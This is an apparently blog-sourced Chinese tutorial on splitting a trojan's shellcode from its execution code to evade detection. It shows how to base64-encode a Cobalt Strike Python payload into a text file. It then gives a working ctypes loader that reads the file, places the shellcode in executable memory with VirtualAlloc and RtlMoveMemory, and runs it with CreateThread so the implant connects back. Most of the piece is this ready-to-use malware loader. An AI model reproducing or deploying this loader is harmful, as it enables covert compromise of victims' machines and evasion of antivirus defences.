无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
云杂项21 分钟前
Safety at Scale: A Comprehensive Survey of Large Model and Agent Safety(LLMs章节)
人工智能·安全
终端安全笔记24 分钟前
iOS 27 给了租赁一个新工具,但它只认受监督的设备
android·网络·安全·ios
jimmyleeee1 小时前
大模型安全之二十一:构建 AI 安全控制栈:从威胁映射到持续合规的完整指南
人工智能·安全
漫话明说1 小时前
工智能安全描述性综述(2026):基于30份行业报告的梳理
安全·智能体·ai安全
xiaoqiMikko1 小时前
Jetty 又出一条走私(CVE-2026-19203):官方叫升 9.4.64,而 9.4.64 在 Central 上是 404
java·安全
山东科恩光电1 小时前
科恩隐卫-KZS-01:实现注塑机安全生产的智能防护新标准
安全
Bruce_Liuxiaowei2 小时前
2026年9月第3周网络安全形势周报
安全·网络安全
小程序设计12 小时前
基于IPv6的校园网设计与过渡技术仿真
网络·安全
jimmyleeee13 小时前
大模型安全之十八:AI常见漏洞类别与缓解策略
人工智能·安全
山东科恩光电14 小时前
安全地毯是什么?它的主要优势与应用领域有哪些?
安全